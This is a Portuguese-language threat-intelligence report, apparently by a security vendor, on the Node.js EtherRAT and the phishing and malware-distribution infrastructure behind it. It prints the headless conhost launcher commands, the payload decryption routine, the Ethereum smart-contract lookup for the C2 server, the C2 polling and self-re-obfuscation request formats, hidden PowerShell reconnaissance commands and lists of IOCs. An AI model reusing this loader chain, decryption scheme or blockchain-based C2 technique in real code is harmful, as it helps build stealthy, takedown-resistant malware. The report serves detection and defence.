Durante as nossas recentes atividades de deteção de ameaças, descobrimos que o malware EtherRAT estava a ser distribuído por um site com uma página inicial invulgar. Esta página inicial permitiu-nos descobrir uma vasta infraestrutura maliciosa dedicada à distribuição de malware, documentos maliciosos, software de acesso remoto ao ambiente de trabalho e páginas de phishing.
O EtherRAT é um RAT desenvolvido em Node.js que permite a um atacante obter controlo total sobre o computador e executar código arbitrário fornecido pelo servidor de comando e controlo (C2). O malware utiliza a blockchain Ethereum para aceder ao servidor C2, daí a parte «Ether» do nome. O EtherRAT é normalmente distribuído através de ficheiros MSI, PowerShell ou scripts JavaScript.
Um diretório aberto que distribui o EtherRAT: onde tudo começou
Durante a deteção de ameaças, descobrimos um diretório aberto que distribuía instaladores MSI e scripts PowerShell, os quais, por sua vez, distribuíam o EtherRAT. Nos casos analisados, os scripts PowerShell e os instaladores MSI eram distribuídos a partir de uma pasta denominada «/install». As versões apresentam uma numeração progressiva, que vai da v1 à v10.

A página inicial apresentada chamou-nos a atenção e levou-nos a explorar mais a fundo a campanha.

Ao analisar os domínios e os IPs associados à distribuição EtherRAT, detetámos outras páginas iniciais semelhantes com uma temática de pirataria informática. Estas parecem pertencer a uma cadeia de distribuição mais vasta, que também distribui phishing, software de controlo remoto e outro malware. Estes sites têm normalmente várias pastas com conteúdo relacionado com malware e phishing, e o que é apresentado depende da cadeia de infeção específica.
Vários sites que apontam para os mesmos endereços IP já apresentavam, anteriormente, páginas relacionadas com empresas falsas ou modelos padrão. A utilização destas novas páginas poderá, portanto, constituir uma forma de dificultar a deteção por parte de scanners automatizados ou investigadores. Eis algumas das páginas iniciais que encontrámos:

O EtherRAT é um RAT interessante, uma vez que tem poucas linhas de código e permite a execução de código arbitrário fornecido pelo servidor C2. Além disso, o facto de utilizar a blockchain Ethereum para aceder ao servidor C2 torna-o mais resistente a interrupções da infraestrutura.
Análise técnica do EtherRAT
Os sites detetados costumam distribuir um ficheiro MSI ou um script PowerShell com o nome da versão, como v1.msi, v2.ps1 e assim por diante.
MSI Loader
O ficheiro MSI «v9.msi» contém três componentes:
| Nome do ficheiro MSI | Descrição |
| KmPuGimn.cmd | Lançador BAT |
| cDQMlQAru0.xml | Primeiro carregador JScript |
| MRaQCipBIZeiZNx.log | EtherRAT encriptado |
Quando o MSI é executado, o ficheiro «KmPuGimn.cmd» é iniciado:
conhost --headless cmd /c "KmPuGimn.cmd"
Este ficheiro BAT ofuscado executa várias operações:
- Extraia os outros ficheiros para uma pasta aleatória na pasta %LOCALAPPDATA%.
- Reexecuta-se através de:
- %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa
- Executa o comando «where node» para localizar uma instalação existente.
- Descarrega o Node.js, caso não seja encontrado
- Utiliza o comando «curl -sLo» para descarregar o Node.js do site oficial.
- Descompacta para o diretório de instalação através do comando «tar -xf».
- Renomeia o diretório extraído para «28Q75h».
- Repete o processo até que tanto o ficheiro «MRaQCipBIZeiZNx.log» como o ficheiro «cDQMlQAru0.xml» existam e, em seguida, executa:
- conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml
O ficheiro «cDQMlQAru0.xml» executado é um carregador que descodifica o código incorporado através de uma função XOR e, em seguida, o executa com «vm.compileFunction».
decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF

O código descodificado:
- Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”.
- Adiciona uma chave de registo para garantir a persistência com o «conhost.exe –headless».
- Descodifica o ficheiro «MRaQCipBIZeiZNx.log» e executa-o utilizando o «_MJlLlt5.exe» como entrada padrão.
O algoritmo de descodificação é um esquema de descodificação personalizado do tipo fluxo, baseado em XOR, rotações de bytes e um acumulador:
for e in range(len(data)):
byte = data[e]
g = prev
prev = byte
byte = (byte - g) & 0xff
byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff)
byte = si[byte]
byte = (byte - k[e % len(k)]) & 0xff
result[e] = byte
A etapa final consiste na implementação do EtherRAT. O EtherRAT permite ao atacante:
- Executar código JavaScript arbitrário recebido pelo servidor C2. Isto permite ao atacante executar novos comandos, realizar operações em ficheiros e pastas, modificar o registo e extrair dados.
- Obtenha um novo servidor C2 utilizando a blockchain Ethereum.
- Reofuscar-se a si próprio.
- Guarde os registos no ficheiro «svchost.log».

O EtherRAT utiliza o método JSON-RPC «eth_call» da Ethereum para recuperar o URL C2 ativo a partir de um contrato inteligente na rede principal da Ethereum.
Os parâmetros da blockchain neste caso são:
- Contrato: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58
- Seletor de função: 0x7d434425
- Argumento: 0xf6a772e163e64b07f658946f863b5d457d88f9f0

Os URLs contactados para obter o ponto final do servidor C2 são:
- mainnet[.]gateway[.]tenderly[.]co
- rpc[.]flashbots[.]net/fast
- rpc[.]mevblocker[.]io
- eth-mainnet[.]public[.]blastapi[.]io
- ethereum-rpc[.]publicnode[.]com
- eth[.]drpc[.]org
- eth[.]merkle[.]io
Os pedidos de sondagem utilizam padrões de URL aleatórios com base em alguns parâmetros definidos no código:
GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id>
X-Bot-Server: <c2_url>
Na amostra analisada, os parâmetros são:
- ID da compilação: “6f816d80-0d6c-4384-9cd6-6b79965fc08f”
- ext: selecionado aleatoriamente entre «png», «jpg», «gif», «css», «ico» e «webp».
- param: selecionado aleatoriamente entre «id», «token», «key», «b», «q», «s», «v».
Após o arranque, o RAT envia o seu próprio código-fonte para o servidor C2. O servidor C2 responde com uma versão do script recentemente ofuscada, que é gravada de novo no disco, fazendo com que cada execução gere um novo hash do ficheiro.
POST /api/[REOBF_PATH]/<victim-uuid>
Body: { "code": "<current_script_contents>", "build": "<build_id>" }
Após a execução do EtherRAT, observámos várias atividades do cmd.exe após a infeção, destinadas a analisar o ambiente. Por exemplo:
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
- reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain”
- powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain”
- cmd.exe /d /s /c “net session”

Carregador do PowerShell
As atividades realizadas pelos carregadores do PowerShell são muito semelhantes à última fase do script JS do instalador MSI:
- Descarrega o Node.js, caso este não esteja instalado.
- Crie os diretórios necessários.
- Descodifique o EtherRAT com um algoritmo de descodificação personalizado.
- Execute o Node.js com o conhost.exe e a carga útil EtherRAT descodificada.
Detetámos algumas variantes do carregador do PowerShell alojadas nestes sites; nomeadamente, verificámos que os nomes das funções e as funções de descodificação variam nos scripts do PowerShell analisados.

Rastreio da infraestrutura maliciosa
Ao analisarmos os diferentes sites com páginas dedicadas ao tema do «hacking», descobrimos que, no passado, muitos deles tinham alojado várias páginas de phishing em determinados diretórios. Por exemplo:
- /zht/sharep-redirect.html
- /bl/me.php
- /t/equipas
- Windows.php
Parece que estes domínios e endereços IP fazem, na verdade, parte de uma infraestrutura muito mais vasta que distribui malware, phishing, documentos maliciosos e software de controlo remoto. É possível que estas infraestruturas sejam partilhadas por vários agentes maliciosos, que ativam diferentes pontos finais de URL consoante a campanha específica.
Curiosamente, a maioria dos domínios associados a esta infraestrutura maliciosa também apresentava, no passado, uma página HTML relacionada com um serviço denominado «Bulletproof Infrastructure».
Constatámos que estas campanhas de phishing começam normalmente através de e-mails com documentos em anexo, tais como ficheiros PDF ou Excel. Estes documentos pedem ao utilizador que clique numa ligação para visualizar outro documento. Seguem-se dois exemplos dos documentos de phishing anexados aos e-mails:
Estas páginas de phishing normalmente pedem ao utilizador que introduza o seu endereço de e-mail, para depois darem continuidade à cadeia de infeção e distribuírem páginas de phishing ou malware. Seguem-se algumas das páginas de phishing detetadas na infraestrutura maliciosa:
Erros de configuração expuseram os kits de phishing
Ao monitorizar sites maliciosos, descobrimos um que tinha um diretório aberto contendo parte do kit de phishing utilizado nas campanhas.

A pasta aberta continha várias pastas com código e páginas relacionadas com as campanhas de phishing.

Além disso, alguns domínios estavam mal configurados e permitiam o download do ficheiro «cl.zip», que continha o código-fonte das páginas do «URL Cloaker».

Indicadores de Compromisso (IOCs)
IPs
82.165.65.244: infraestrutura maliciosa
185.221.216.121: infraestrutura maliciosa
43[.]163[.]233[.]166: infraestrutura maliciosa
40[.]160[.]238[.]30: infraestrutura maliciosa
159.89.227.204: infraestrutura maliciosa
57[.]128[.]31[.]168: infraestrutura maliciosa
Domínios
ivorilla[.]cloud: Distribuição do EtherRAT
mx[.]nrlwz[.]com: Distribuição do EtherRAT
dn[.]eyqwj[.]com: Distribuição do EtherRAT
bi[.]mkrjcsw[.]com: Distribuição do EtherRAT
dorqen[.]casa: Distribuição do EtherRAT
kelvra[.]club: Distribuição do EtherRAT
cambioefectivo[.]com: EtherRAT C2
vabelles[.]com: EtherRAT C2
tranzed[.]org: EtherRAT C2
kibrisarazi[.]com: EtherRAT C2
aravisblog[.]com: EtherRAT C2
publicspeakingtip[.]org: EtherRAT C2
Agradecimentoss
- Referência do SharePoint:https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest
Impedir as ameaças antes que causem qualquer dano.
Browser Guard Malwarebytes Browser Guard automaticamente páginas de phishing e sites maliciosos. É gratuito e instala-se com um clique. Adicione-o ao seu navegador →
















